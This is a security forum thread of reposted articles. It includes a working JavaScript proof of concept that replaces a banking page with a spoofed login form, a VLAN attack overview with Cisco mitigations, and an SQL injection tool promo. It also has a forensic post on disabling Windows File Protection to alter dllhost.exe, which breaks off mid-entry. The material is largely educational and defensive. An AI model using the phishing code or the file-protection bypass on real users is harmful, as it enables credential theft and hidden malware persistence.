Nytro

JavaScript Switcharoo Proof Of Concept Authored by Michal Zalewski | Site lcamtuf.coredump.cx It seems that relatively few people realize that holding a JavaScript handle to another window allows the attacker to tamper with the location and history objects at will, largely bypassing the usual SOP controls. With some minimal effort and the help of data: / javascript: URLs or precached pages, this can be leveraged to replace content in a manner that will likely escape even fairly attentive users. /* Another whimsical browser proof-of-concept: http://lcamtuf.coredump.cx/switch/ It seems that relatively few people realize that holding a JavaScript handle to another window (either because we opened it, or because the window was at some point displaying our content) allows the attacker to tamper with the location and history objects at will, largely bypassing the usual SOP controls. With some minimal effort and the help of data: / javascript: URLs or precached pages, this can be leveraged to replace content in a manner that will likely escape even fairly attentive users. /mz */ <script> /* If you don't get it, beaver.coredump.cx is a trusted banking website; everything else is attacker-controlled. We begin by opening the legitimate, trusted website. Timing is essential. Once the banking website is loaded, follow the displayed security tip. */ var spaces = " " + " " + " " + " " + " " + " " + " " + " "; var bank_html = "<title>Beaver Creek Online Banking and BBQ</title>" + "<h1>Beaver Creek Online Banking and BBQ</h1>" + "<p>" + "<font color=crimson>Security tip: please confirm that you see " + "<code>http://beaver.coredump.cx/</code> in the address bar!</font>" + "<p><table><tr>" + "<td>Login:</td><td><input type=text></td></tr><tr>" + "<td>Password:</td><td><input type=password></td></tr></table><p>" + "<input type=submit value='Log in!'>"; var w; function dostuff() { /* Precache */ if ('v' == '\v') { var x = new Image(); x.src = 'http://spoofed.coredump.cx/phish/'; } w = window.open('http://beaver.coredump.cx/beaver/', 'target'); setTimeout(dostuff2, 5000); } function dostuff2() { if ('v' == '\v') w.open('http://spoofed.coredump.cx/phish/','target'); else w.location.replace('data:text/html;np.cx/beaver/' + spaces + ',' + escape(bank_html)); } </script> <h3>The old switcharoo</h3> This is hardly new, but illustrates the effectiveness of using data: or precached content to do the deed. You're probably fooling yourself if you think you'd spot this happening to you in the wild. <p> <input type=submit onclick="dostuff()" value="Do it"> <p> <font color=gray>PS. If you don't get it, close the window and try again. If you're still stumped, view the source.</font> Sursa: JavaScript Switcharoo Proof Of Concept ? Packet Storm

Securitytube Metasploit Framework Expert Part 1 (Exploitation Basics) Description: Welcome to Part 1 of the SecurityTube Metasploit Framework Expert (SMFE) course material videos. You can sign up for the course here: SecurityTube Metasploit Framework Expert Certification In this video, we will look at the basics of vulnerability, how to use a raw one using the exploit source code and identify the problems with this approach. This will then lead to the need for a tool like Metasploit. Securitytube Metasploit Framework Expert Part 2 ( Why Metasploit? ) Description: This is Part 2 of the Security Metasploit Framework Expert (SMFE) course material. You can begin by watching Part 1 here: Securitytube Metasploit Framework Expert Part 1 (Exploitation Basics) . You can sign up for the course here: SecurityTube Metasploit Framework Expert Certification In Part 2, we will look at how to use Metasploit to exploit vulnerabilities in the Dcom and Netapi services. We will also learn how to de-couple exploits and payloads, and mix and match them. Securitytube Metasploit Framework Expert Part 3 ( Meterpreter Basics ) Description: This is Part 2 of the Security Metasploit Framework Expert (SMFE) course material. You can begin by watching Part 1 here: Securitytube Metasploit Framework Expert Part 1 (Exploitation Basics) . You can sign up for the course here: SecurityTube Metasploit Framework Expert Certification Enjoy! In this video, we will look at the basics of Meterpreter - how it uses reflective DLL injection to stay in-memory, communicates over encrypted channels, uses TLV for communication which allows for multi-channel communication and a bunch of other things. Sursa: Welcome to SecurityTube!

VLAN Hacking December 8th, 2011|By: Hari Krishnan|Topics: |1 Comment Introduction In Virtual LAN or VLAN is a group of hosts communicate with each other, even thoughthey are in different physical location. Virtual LAN provides location independence to the users, able to save the bandwidth, manage the device, cost effective for the organization are some of the facilities provided by the Virtual LAN. VLAN is based on Layer 2 “Data link” of the OSI Model. The OSI layers are independent of each other and they communicate with each other. If any one of the layer gets compromised the other layers also fail. The VLAN is on the Data Link layer, which is as vulnerable to attacks as any other layer on the OSI model. Security Issues faced by a VLAN When it comes to VLAN, it is best suited for Traffic management and definitely not for security. Some of the security issues faced by VLAN are given below. ARP Attack MAC Flooding Attack DHCP attack Spanning-Tree Protocol Attack Multicast Brute Force Attack Private VLAN Attack VLAN Hopping Attack Double-Encapsulated 802.1Q Random Frame Stress Attack ARP Attack ARP is an Address Resolution Protocol which is designed for a friendly environment. ARP works by associating IP address of Layer 3 with MAC address of Layer 2. ARP lacks very much when it comes to security, a malicious user is able to use a forged IP address of Layer 3 and MAC address of Layer 2, there is no way to verify those forged details in ARP. The malicious user identifies him as a legitimate user and starts to use resources available on the network. It’s even possible to transmit ARP packets to a device in a different VLAN using those forged details. It even allows the malicious user to perform a Man-in-the-middle ( MiM )attack. A MiM attack is performed when a network device identifies itself as another network device such as default gateway, there is no way to verify those credentials. Then the attacker starts to send the ARP packets to the targeted victim, those ARP packets cannot be verified by the receiver. The receiver ARP table is filled with the forged details of the ARP packets sent by the attacker. The attacker is then able to gather all the information about the receiver and even tries to resemble as the receiver to other devices in the network. At the end of the attack, the attacker corrects the ARP tables and the network comes back to normal. Tool which can be used for performing ARP spoofing are Arpspoof, Arpoison, Cain and Abel, and Ettercap, Trapper which was inspired from the famous tool called Cain. An effective countermeasure to ARP attacks is Dynamic ARP inspection (DAI). DAI is a security feature which validates all the ARP packets in a network. It discards the ARP packets with invalid IP and MAC address. To enable DAI on a VLAN(DHCP Environment on CISCO) Enters into the Global Configuration command Router# configure terminal Enables DAI on VLAN by using iparp inspection Vlan{vlan_id|vlan_range} from the global configuration table Router(config)# iparp inspection vlan {vlan_ID |vlan_range} Finally, Verifies the Configuration Router(config-if)# do show iparp inspection vlan {vlan_ID |vlan_range} | begin Vlan MAC Flooding Attack MAC flooding attack is one of the common attacks on a VLAN. In a MAC flooding attack, the switch is flooded with packets of different MAC address therefore consuming memory on the switch. During the MAC flooding attack, switch starts to behave like a “hub” where it starts to share the data with all the ports. Thus a malicious user is able to use a Packet sniffer to extract the sensitive data’s. For example, there are 3 workstations WA, WB and WC. When WA tries to send a data to WB it is not viewed by the WC because of switch. Now, a malicious user consider WC, starts a MAC flooding attack on switch with different MAC Address, the memory of switch is filled. Now, the switch starts to behave like a HUB, thus when next time WA tries to send a data to WB, it will be easily viewed by the WC. The best way to secure VLAN from MAC flooding attack is through Static Secure MAC address. They need to be manually configured using the command “switchport port-security mac-address mac-address interface ”.The other way to secure MAC Flooding is to limit the amount of MAC address received by the port. DHCP Attack DHCP is Dynamic host configuration protocol which enables a server to automatically assign IP address to a host with other information such as subnet mask and default gateway. There are two types of DHCP attack on VLAN; they are DHCP starvation Attack and DHCP rogue attack. In DHCP starvation attack, a malicious user sends numerous DHCP request with spoofed MAC address. This causes a Denial of Service at DHCP server, thus not allowing an authentic user from using the network. It can be avoided by limiting the number of MAC address. In DHCP rouge attack, a malicious user acts as if he is a DHCP server and provides a reliable user with Wrong gateway, Wrong DNS and Wrong IP. The user will experience numerous problems ranging from connection problem to communication problems with other host. This can be avoided by using a multilayer switch which got a capability to drop the packets. One of the tools which can be used for these kind of attack is Yersinia which is a network tool designed to take advantage of some weakness in different network protocols. This can be also used for spanning-tree protocol attack. Spanning-Tree Protocol Attack When a malicious user sends a STP message with a priority zero value thus making a new root bridge thus compromising the entire network is known as Spanning-Tree Protocol attack. It can be avoided by disabling spanning -tree function to the entire user interface. This can also be done by enabling root guard on CISCO equipment or BPDU guard on user’s port to disable Priority Zero value thus the malicious user won’t be able to gain the root bridge To enable Root Guard on CatOS vega> (enable) set spantree guard root 1/1 Rootguard on port 1/1 is enabled. Warning!! Enabling rootguard may result in a topology change. vega> (enable) To enable BPDU guard on CatOS Console> (enable) set spantreeportfastbpdu-guard enable Spantreeportfastbpdu-guard enabled on this switch. Console> (enable) Multicast Brute Force Attack The multicast brute force attack proceeds when a switch receives a number of multicast frames in rapid succession. This causes the frames to leak into other VLAN instead of containing it on original VLAN. This might also cause a scenario similar to denial of service. The multicast brute force attack can be stopped by a well-equipped switch which prevents the frames from leaking into other VLAN and therefore containing them in the original VLAN. Private VLAN Attack A Private VLAN is a feature in Layer 2 which is used to isolate the traffic only at layer2. When a layer 3,device such as a router is connected to a Private VLAN, it supposed to forward all the traffic received by the router to whatever destination it’s meant for. Sometimes a malicious user might use it for his advantage. This can be prevented by configuring the VLAN access list. To define a VLAN access map # vlan access-mapmap_name [0-65535] To delete a map sequence from VLAN access map # no vlan access-mapmap_name 0-65535 To delete the VLAN access map # no vlan access-mapmap_name VMPS/VQP Attack: This kind of attack normally happens on Dynamic VLAN Access Ports. This VMPS uses VQP protocol. The disadvantage of VMPS is that it doesn’t use authentication for assigning Vlans based on the MAC address and also it is over UDP which further makes it more vulnerable for the attack. Normally a DOS attack happens in order to join the unauthenticated VLAN. VLAN Hopping Attack VLAN hopping works by sending packets to a port which should not be accessible. Basically, in VLAN hopping attack there are two types Switch Spoofing Double Tagging Switch Spoofing Switch spoofing happens when a malicious user tries to configure a system to spoof itself as a switch by matching itself to 802.1q or ISL. The malicious user is able to spoof the switch with help of (Dynamic Trunk Protocol) DTP signaling. Double Tagging Double tagging is a method involves tagging transmitted frames with two 802.1q headers, one of the headers is used for Victim switch and another is used for the attacker’s switch. The simplest way to prevent a VLAN Hopping attack is by disabling Dynamic Trunk protocol (DTP) on all untrusted ports. For example: ciscoswitch# conf t ciscoswitc(config)# int gi1/10 ciscoswitch(config-if)# switchportnonegotiate From the example “switchportnonegotiate” disables the DTP. Double-Encapsulated 802.1Q IEEE 802.1Q helps to create smaller network out of large networks. A large network is very slow and consumes lot of bandwidth whereas a smaller network is easier to manage and consumes less bandwidth. So, it’s desirable to have a smaller network than a large complex network. IEEE802.1Q was developed as a part of IEEE802. To use IEEE802.1Q, it’s must that we implement Trunk. Suppose Trunk is enabled in IEEE802.1Q, a certain type of attack is performed on 802.1Q. This attack is called Double Encapsulation attack. It adds two tags to the original frame. In IEEE 802.1Q trunk always modify the frame by eliminating the outer tag but the inner tag remains permanently and it becomes the destination. To prevent Double-Encapsulation in 802.1Q, the native VLAN should not be assigned to any port. We must force traffic on trunk to always carry a tag. To make the trunk to carry a tag, we can use the command “Switch(config)# vlan dot1q tag native”. It is a global command to tag the native VLAN. Random Frame Stress Attack Random frame stress attack got many types but it’s generally a brute force attack performed on several fields. In this type of brute force attack the source address and destination address are kept constant. They are primarily performed to test the switch ability when it encounters abnormalities in inputs and calculations. Random frame stress attack can be prevented when a Private VLAN or PVLAN is used to separate the host from receiving those unwanted inputs. Using of Shodan for gathering information: This is just to find out the online devices using Shodan (http://www.shodanhq.com). Shodan stands for Sentient Hyper-Optimized Data Access Network which is almost similar to a normal search engine except for its results. Shodan grabs the banner of the devices and gives a detail information, thus helping the user while pen testing. The usage of shodan is simple and easy and also has shodan syntax for making the results more filtered. For example, to find a device or service running in the target, then the syntax would be “service name” hostname: target.com. Similarly we can discover more devices and making the analysis of the target easier and also reducing the time. Another example would be finding the L2 devices like for example Netgear GSM7212 L2 switch from a particular country. The image shows the Netgear switch from the country US. Similarly, we can find different devices for information gathering phase. Conclusion: I hope this helps understand various VLAN attacks and makes the concept simpler. On other hand, attacking a Vlan is tough. And never forget to change the default settings of your devices. A few points for the administrators would be: Manage switches in as secure a manner The native VLAN ID should not be used for trunking. Always use a dedicated VLAN ID for all trunk ports. Set all user ports to non trunking Do configure port-security feature in the switch for more protection. (Note: be careful about configuring the port-security feature.) Avoid using VLAN 1 Deploy port-security where possible for user ports Enable BPDU Guard for STP attack mitigation Use private VLAN where appropriate to further divide L2 networks If VTP is used, use MD5 authentication. Unused ports can be disabled. Sursa: http://resources.infosecinstitute.com/vlan-hacking/

[h=1]Introducing DNSCrypt (Preview Release)[/h] [h=2]Securing a critical piece of Internet infrastructure[/h] Backgound: The need for a better DNS security DNS is one of the fundamental building blocks of the Internet. It's used any time you visit a website, send an email, have an IM conversation or do anything else online. While OpenDNS has provided world-class security using DNS for years, and OpenDNS is the most secure DNS service available, the underlying DNS protocol has not been secure enough for our comfort. Many will remember the Kaminsky Vulnerability, which impacted nearly every DNS implementation in the world (though not OpenDNS). That said, the class of problems that the Kaminsky Vulnerability related to were a result of some of the underlying foundations of the DNS protocol that are inherently weak -- particularly in the "last mile." The "last mile" is the portion of your Internet connection between your computer and your ISP. DNSCrypt is our way of securing the "last mile" of DNS traffic and resolving (no pun intended) an entire class of serious security concerns with the DNS protocol. There have been numerous examples of tampering, or man-in-the-middle attacks, and snooping of DNS traffic at the last mile and it represents a serious security risk that we've always wanted to fix. Today we can. Why DNSCrypt is so significant In the same way the SSL turns HTTP web traffic into HTTPS encrypted Web traffic, DNSCrypt turns regular DNS traffic into encrypted DNS traffic that is secure from eavesdropping and man-in-the-middle attacks. It doesn't require any changes to domain names or how they work, it simply provides a method for securely encrypting communication between our customers and our DNS servers in our data centers. We know that claims alone don't work in the security world, however, so we've opened up the source to our DNSCrypt code base and it's available on GitHub. DNSCrypt has the potential to be the most impactful advancement in Internet security since SSL, significantly improving every single Internet user's online security and privacy. Download DNSCrypt! (mac only at the moment) Frequently Asked Questions (FAQ): 1. In plain English, what is DNSCrypt? DNSCrypt is a piece of lightweight software that everyone should use to boost online privacy and security. It works by encrypting all DNS traffic between the user and OpenDNS, preventing any spying, spoofing or man-in-the-middle attacks. 2. How can I use DNSCrypt today? DNSCrypt is immediately available as a technology preview. It should work, shouldn't cause problems, but we're still making iterative changes regularly. You can download it at the link above. Initially it's available for Mac, though we expect a PC version in the near future. Tips: The service is not configured to maintain state between reboots, it defaults to off when you reboot. This is only for early releases. Eventually we will have it maintain your preferences between reboots. If you have a firewall or other middleware mangling your packets, you should try enabling DNSCrypt with TCP over port 443. This will make most firewalls think it's HTTPS traffic and leave it alone. If you prefer reliability over security, enable fallback to insecure DNS. If you can't reach us, we'll try using your DHCP-assigned or previously configured DNS servers. This is a security risk though. 3. What about DNSSEC? Does this eliminate the need for DNSSEC? No. DNSCrypt and DNSSEC are complementary. DNSSEC does a number of things. First, it provides authentication. (Is the DNS record I'm getting a response for coming from the owner of the domain name I'm asking about or has it been tampered with?) Second, DNSSEC provides a chain of trust to help establish confidence that the answers you're getting are verifiable. But unfortunately, DNSSEC doesn't actually provide encryption for DNS records, even those signed by DNSSEC. Even if everyone in the word used DNSSEC, the need to encrypt all DNS traffic would not go away. Moreover, DNSSEC today represents a near-zero percentage of overall domain names and an increasingly smaller percentage of DNS records each day as the Internet grows. That said, DNSSEC and DNSCrypt can work perfectly together. They aren't conflicting in any way. Think of DNSCrypt as a wrapper around all DNS traffic and DNSSEC as a way of signing and providing validation for a subset of those records. There are benefits to DNSSEC that DNSCrypt isn't trying to address, in fact, we hope DNSSEC adoption grows so that people can have more confidence in the entire DNS infrastructure, not just the link between our customers and OpenDNS. 4. Is this using SSL? What's the crypto and what's the design? We are not using SSL. While we make the analogy that DNSCrypt is like SSL in that it wraps all DNS traffic with encryption the same way SSL wraps all HTTP traffic, it's not the crypto library being used. We're using elliptical-curve cryptography, in particular the Curve25519 eliptical curve. The design goals are similar to those described in the DNSCurve forwarder design. Sursa: http://www.opendns.com/technology/dnscrypt/

[h=1]Yahoo Closes Zero-Day YIM Hole[/h] 07 December 2011 Users in control of their status message again Earlier today we got an update from Yahoo that the issue we reported in a previous blog post has been fixed. As of the moment, YIM users running version 11.x of the instant messaging client are not vulnerable to the status-change mechanism anymore. If you are running a vulnerable version of the product (all releases in version 11, including the latest version of the kit), you should know that you don’t have to download and install anything, as the fix has been applied server-side. Bitdefender discovered the flaw last Friday as part of a forensic investigation on a customer’s machine. We immediately notified the affected vendor and other antivirus companies about the new threat and provided proof of concept code as basis for issuing a fix. Sursa: Yahoo Closes Zero-Day YIM Hole - MalwareCity : Computer Security Blog

NTO SQL Invader NTO SQL Invader gives the ability to quickly and easily exploit or demonstrate SQL Injection vulnerabilities in Web applications. With a few simple clicks, you will be able to exploit a vulnerability to view the list of records, tables and user accounts of the back-end database. Easy to use - The tool’s GUI interface enables you to simply paste the injectable request found by a DAST tool or feed a detailed request straignt from an application scan report. You can then control how much information is harvested. Clearly presents evidence - Unlike tools that provide all data via command line, NTO SQL Invader provides the data in a organized manner that is useful for both executive meetings as well as technical analysis and remediation. Enables easy transport of logging data - All of the data harvested from NTO SQL Invader can be saved into a CSV file so the reports can be included as penetration evidence as part of a presentation or POC. Video demo: http://www.ntobjectives.com/research/sqlinvader-intro Download: http://go.ntobjectives.com/e/8672/-18735-NTOSQLInvader-Setup-exe/EEOX/47243855 Mirror: http://www.multiupload.com/33KTSNSWI0 Sursa: http://go.ntobjectives.com/l/8672/2011-12-01/DRMN

[h=1]Spying Internet Explorer 8.0[/h] 28 September 2011 Author: Brian Mariani, Senior Security Auditor at High-Tech Bridge SA Malicious software also known as "Malcode" or "Malware" can compromise the security and functionality of a program. Once "installed" it monitors the user’s habits. This documents introduces this kind of threats by spying a widespread internet browser. PDF: Spying Internet Explorer 8.0 (1,5 MB) Project files (SpyingIE.zip) (150 kB) Sursa: https://www.htbridge.ch/publications/spying_internet_explorer_8_0.html Se poate mai usor, dar e mai "1337" asa.

Vorbele mascaricilor astia conteaza? Niciun om serios nu da 2 bani pe astia.

Si eu care credeam ca e "Offensive Security Certified Expert"... http://www.offensive-security.com/information-security-certifications/

Imediat bat din palme si se rezolva. Ma ocup de RST in timpul liber si dupa cum vedeti, in ultimele zile nu prea am avut timp liber. Daca azi-maine-seara nu am timp, rezolv in weekend, am mai multe de rezolvat, problema e ca nu dau 2 click-uri si gata, poof, se rezolva.

Aceasta arie a evoluat mult si repede, la noi intelesesem ca exista 3 firme in domeniu, dar nu stiu care si cu ce se ocupa mai exact, probabil ceea ce fac nu e tocmai pen-testing. In afara deja e o industrie in care se castiga mult, in functie de firma si renumele ei, dar si de ce face mai exact. De exemplu Vupen, cei cu exploit-ul in Chrome ce trecea de sandbox, lucreaza indeosebi cu guvernele si cei care lucreaza acolo au venituri considerabile. Conteaza mult si o certificare, dar nu rahaturi ca Ethical Hacking, ci certificari de la Offeinsive Security, SANS, Immunity si probabil altele. Nu se pune accentul pe XSS/SQLI si rahaturi dinastea ci mai mult pe exploit development, buffer overflows si return oriented programming. Daca cauti ceva pe parte de web, nu stiu ce sanse ai sa prinzi ceva, poate doar daca desscoperi tehnici noi sau stii toate rahaturile indiferent cat de marunte sunt de web security.

Senseg a creat primul ecran tactil senzorial 07.12.2011 Senseg este compania japonez? care a reu?it s? creeze primul prototip func?ional al unui ecran touch cu func?ie senzorial?. Senseg a creat primul ecran tactil senzorial Mai exact, suprafa?a acestui ecran poate reda o varietate de senza?ii fizice la atingere, imitând textura obiectelor afi?ate pe ecran. Ecranul botezat "Feel Screen", func?ioneaz? prin aplicarea unor câmpuri electrostatice care sunt sim?ite la atingere ?i interpretate asemenea unor senza?ii tactile reale. Potrivit companiei produc?toare, efectul este ob?inut prin crearea ?i controlarea unei mici for?e de atrac?ie, ap?rut? între suprafa?a ecranului ?i degetele utilizatorilor. Tehnologia permite simularea unei palete variate de texturi ?i efecte, cum ar fi suprafe?e aspre, muchii ?i vibra?ii. Senseg a creat primul ecran tactil senzorial Senseg promite c? ne vom putea bucura de noua experien?? senzorial? indiferent de dimensiunea ecranului. Ca ?i avantaje, noua tehnologie poate îmbun?t??i experien?a utiliz?rii tastaturilor touch, ad?ugând o separare perceptibil? între tastele virtuale reprezentate pe ecran. Versiunile comerciale ale ecranului "Feel Screen" sunt preg?tite pentru produc?ie de mas? chiar din decursul anului viitor, îns? primele dispozitive care încorporeaz? un astfel de ecran probabil nu vor ap?rea în magazine mai devreme de anul 2013. Sursa: Vr-zone.com Via: Senseg a creat primul ecran tactil senzorial

[h=1]DNS Spoofing plus WPAD equals Compromised[/h] How hard is it for someone to insert a proxy between you and the rest of the Internet without you knowing? Will running a Mac or Linux protect you? In this episode we combine the concepts from Episode 20 with the WPAD style attack that was discussed back in Episode 17, creating a quick and easy how-to when it comes to creating a man in the middle attack that will work against any system that has Automatic Proxy Discovery enabled. This feature is sometimes thought to be a Windows specific issue, but as we demonstrate here by transparently creating a man in the middle proxy for a Mac, it really does apply everywhere. There are just a few simple pieces that you need to accomplish this attack and there are some quick and easy things that you can do to defend yourself or that you can look for during an audit. For more details and a link to the source code, please check the Blog article here: IT Security Audit: What About WPAD?

[h=1]C++0x feature support in GCC 4.5[/h] Arpan Sen (arpansen@gmail.com), Independent author Summary: If you're one of the many users of the GCC C++ compiler, you should be aware of the new features that the upcoming C++0x specification has in store and available in GCC version 4.5. Introduction The GNU Compiler Collection (GCC) is the C++ compiler to the vast majority of us and has taken the lead in supporting features from the upcoming C++0x standard (see Resources for links to more information). This article focuses on a subset of several C++0x features that GCC version 4.5 supports, including static assertions, initializer lists, type narrowing, newer semantics of the auto keyword, lambda functions, and variadic templates. Some of these features—like static assertions—first made their appearance in GCC version 4.3, while lambda functions first appeared with the 4.5 release. If you intend to be one of the early adopters of C++0x, consider getting a copy of the draft standard and download GCC 4.5 (see Resources). Let's begin by briefly discussing parts of the C++0x standard that are not yet supported in GCC Static assertions Remember those times when your portable code crashed at a customer site, because integer sizes were not the 4 bytes you assumed them to be? The static_assert construct in C++0x helps track precisely these kind of problems, except that they are available at compile time and immensely useful when you need to migrate sources to different platforms. Boost libraries (see Resources) have had support for static assertions for some time now, but having static assertions integrated as part of the language core (static_assert is a C++0x keyword) implies that headers are no longer needed (see Listing 1). ................................... Download: http://public.dhe.ibm.com/software/dw/aix/au-gcc-pdf.pdf Online: http://www.ibm.com/developerworks/aix/library/au-gcc/index.html

Attacking Intel TXT via SINIT code execution hijacking Rafal Wojtczuk rafal@invisiblethingslab.com Joanna Rutkowska joanna@invisiblethingslab.com November 2011 Abstract We present a software attack against Intel® TXT that exploits an implementation problem within a so called SINIT module. The attack allows to fully bypass Intel TXT, Intel Launch Control Policy (LCP), and additionally also provides yet-another-way to compromise SMM code on the platform. Download: http://www.invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf

[h=2]Executable and Linkable Format (ELF)[/h] [TABLE] [TR] [TD]ABI[/TD] [TD]Application binary interface[/TD] [/TR] [TR] [TD]a.out[/TD] [TD]Assembler output file format[/TD] [/TR] [TR] [TD]BSS[/TD] [TD]Block started by symbol. The uninitialized data segment containing statically-allocated variables.[/TD] [/TR] [TR] [TD]COFF[/TD] [TD]Common object file format[/TD] [/TR] [TR] [TD]DTV[/TD] [TD]Dynamic thread vector (for TLS)[/TD] [/TR] [TR] [TD]DWARF[/TD] [TD]A standardized debugging data format[/TD] [/TR] [TR] [TD]GD[/TD] [TD]Global Dynamic (dynamic TLS) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]GOT[/TD] [TD]Global offset table[/TD] [/TR] [TR] [TD]IE[/TD] [TD]Initial Executable (static TLS with assigned offsets) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]LD[/TD] [TD]Local Dynamic (dynamic TLS of local symbols) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]LE[/TD] [TD]Local Executable (static TLS) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]Mach-O[/TD] [TD]Mach object file format[/TD] [/TR] [TR] [TD]PC[/TD] [TD]Program counter. On x86, this is the same as IP (Instruction Pointer) register.[/TD] [/TR] [TR] [TD]PE[/TD] [TD]Portable executable[/TD] [/TR] [TR] [TD]PHT[/TD] [TD]Program header table[/TD] [/TR] [TR] [TD]PIC[/TD] [TD]Position independent code[/TD] [/TR] [TR] [TD]PIE[/TD] [TD]Position independent executable[/TD] [/TR] [TR] [TD]PLT[/TD] [TD]Procedure linkage table[/TD] [/TR] [TR] [TD]REL RELA[/TD] [TD]Relocation[/TD] [/TR] [TR] [TD]RVA[/TD] [TD]Relative virtual address[/TD] [/TR] [TR] [TD]SHF[/TD] [TD]Section header flag[/TD] [/TR] [TR] [TD]SHT[/TD] [TD]Section header table[/TD] [/TR] [TR] [TD]SO[/TD] [TD]Shared object (another name for dynamic link library)[/TD] [/TR] [TR] [TD]VMA[/TD] [TD]Virtual memory area/address[/TD] [/TR] [/TABLE] [h=2]Useful books and references[/h] ELF man page System V Application Binary Interface AMD64 System V Application Binary Interface The gen on function calling conventions Section II of Linux Standard Base 4.0 Core Specification Self-Service Linux: Mastering the Art of Problem Determination by Mark Wilding and Dan Behman Solaris Linker and Libraries Guide Linkers and Loaders by John Levine Understanding Linux ELF RTLD internals by mayhem (this article gives you an idea how the runtime linker ld.so works) ld.so man page Prelink by Jakub Jelinek (and prelink man page) Resurse: http://www.acsu.buffalo.edu/~charngda/elf.html

[h=2]Tuesday, 06 December 2011[/h] [h=3]Manipulating Windows File Protection and Indicators of Compromise[/h] In my previous blog post I wrote about how when searching for malicious processes, it helps to know about Windows File Protection and how it works. Harlan Carvey commented about how he didn't see the connection between my mentioning WFP and hunting for malware. So, in this blog post, I thought I would clarify, as well as discuss how WFP can be subverted and what indicators of compromise that would leave behind. Let's start with my methodology for hunting malware. Basically, WFP prevents a user from altering a legitimate windows process. If an attempt is made to alter one such file, the user will be informed that an attempt to alter a Windows protected file has taken place and either the alteration will simply be prevented from making a change, or the file will be copied from the version that is stored in dllcache. Here is an example of file modification being prevented: c:\Windows\System32>echo test123 >> dllhost.exe Access is denied. Here is an example of what the error looks like in the system logs: c:\tw_pogue1\CEPOGUE-NGQ83PM\vol\evt_sys.txt: 506,System,Windows File Protection,INFORMATION,CEPOGUE-NGQ83PM,11/23/2011 10:05:42 AM,64001,None,"File replacement was attempted on the protected system file dllhost.exe. This file was restored to the original version to maintain system stability. The file version of the bad file is 5.1.2600.2180, the version of the system file is 5.1.2600.2180." So, what many attackers will do, is slightly misspell the names of legitimate binaries so as to make them "look" like legitimate ones...something I call, "malware subterfuge". So instead of using the name, "dllhost.exe", they will use something like, "dl1host.exe" or, "dllhsot.exe". Alternatively, they can use the legitimate name if it's not in the same directory as the legitimate Windows binary. So, instead of making using, "C:\Windows\system32\dllhost.exe" they will use, "C:\Windows\System32\drivers\dllhost.exe". Because of WFP, spotting malware can be easier for investigators who know what they are looking for. Also, you can see that WFP makes it difficult for an attacker to name their binary a legitimate Windows name, from a legitimate directory. Difficult, but not impossible. As Harlan correctly pointed out on his blog, " Windows Incident Response", WFP can be disabled. This may sound scary, but actually happens all the time when Windows makes updates to existing files through the Windows Update process. Additionally, Harlan documented this process briefly in his book, "Windows Forensic Analysis, Second Edition" on pages 328 - 330. As Harlan states, "I found that there is reportedly an undocumented API call called SfcFileException (www.bitsum.com/aboutwfp) that will allegedly suspend WFP for one minute. WFP "listens" for file changes and "wakes up" when a file change event occurs for one of the designated protected files, and does not poll the protected files on a regular basis to determine whether any have been modified in some way. Suspending WFP for one minute is more than enough time to infect a file, and once WFP resumes there is no other way for it to detect that that a protected file has been modified." Later, in a conversation with Harlan, we talked about the frequency of just such an attack. Personally, I have never seen this, and Harlan indicated that he has only seen it a few times. So, this was one of those things that is heavy in theory and light in research. So, I wanted to see what it would really look like if I disabled WFP and made a modification to a protected file. Would it leave behind any indicators of compromise in memory, event logs, or a forensic timeline? My first step in answering these questions was to get a hold of the tools mentioned by Harlan from Bitsum Technology. I contacted the developer, who was gracious enough to send me a copy for research. I have left his name out of this post for privacy (No, I will not release his code, so don't ask!). If you want to do your own research, feel free to visit Bitsum Technologies like I did. With my copy of WFP_deprotect in "hand", I copied it to a Windows XP VM that I use for malware analysis. To keep things simple (as I am only trying to illustrate the potential of the tool, and the IOC left behind by modification) I decided to only append a series of capital, "AAAA"s to the end of a protected file. So, I stopped WFP: ? Next, let's take a MD5 checksum of dllhost.exe for validation that we have successfully modified our target file. c:\Windows\System32>md5deep dllhost.exe a63dc5c2ea944e6657203e0c8edeaf61 c:\Windows\System32\dllhost.exe OK, next, I ran a strings against the target file so make sure there was not the same string content that I decided to use. In this case, a series of upper case letter "A"s. C:\test>strings c:\WINDOWS\system32\dllhost.exe | grep AAAAAAAA Now, I am going to simply append 20 upper case "A"s to the end of the target file. C:\test>echo AAAAAAAAAAAAAAAAAAAA >> c:\WINDOWS\system32\dllhost.exe Let's run strings against the target file to see if the modification took. C:\test>strings c:\WINDOWS\system32\dllhost.exe | grep AAAAA AAAAAAAAAAAAAAAAAAAA <-- This is the results of the grep search. Now let's check the MD5 checksum of the target file to see if it changed...as you can see by comparing it to the value from our initial MD5, it didn. C:\test>md5deep c:\WINDOWS\system32\dllhost.exe 6fb2c878750a84946efacfc50c8e1f59 c:\WINDOWS\system32\dllhost.exe Finally, I waited the minute that it would take for WFP to kick back on, and I rebooted the system. Then, I ran strings against the target file again, and check it out...my "A"s are now at the end of the file. Mission accomplished. I successfully edited a file that was protected by WFP. Once WFP kicked back on, the modified version of the target file is now the version that the system considers to be "good". Any attempt to modified the new version of the WFP protect file by users, or AV, or anything else (except by the same means that I used to modify the file in the first place) would be stopped. Now, my change was relatively simple...I just threw some "A"s at the end of the file. Think about the implications if I had more nefarious goals in mind. I could modify a WFP protected file, allowing it to maintain its original functionality while maybe appending a key logger, or memory dumper to the end of the file. Now, the new weaponized process would have a legitimate Windows name, run from a legitimate directory, BECAUSE it would actually BE the legitimate file as far as the operating system was concerned. OK, so let's say I am working a case where this actually happened. My initial effort to detect malware would not yield any results because all of the running processes would have their expected names, and be running from their expected directories. So now what? Are we all hosed if we run into this, or are there IOCs that would be left behind by this kind of modification? Well, don't lose faith, because there indeed ARE IOCs...which I am about to explain... First of all, the forensic timeline (one of my favorite tools) would show access and modification times that would be updated: Below are the entries from the Master File Table ($MFT), the Standard_Information (SI) attribute is on the top (above the file name), and the File_Name (FN) attribute are on the bottom (below the file name). Notice the Access and Change dates are Nov 23, 2011, which is the date I ran my test. M: Wed Nov 23 15:35:37 2011 Z A: Wed Nov 23 16:04:46 2011 Z C: Wed Nov 23 16:04:28 2011 Z B: Wed Nov 23 15:35:37 2011 Z FN: dllhost.exe Parent Ref: 865 Parent Seq: 3 M: Wed Nov 23 15:35:37 2011 Z A: Wed 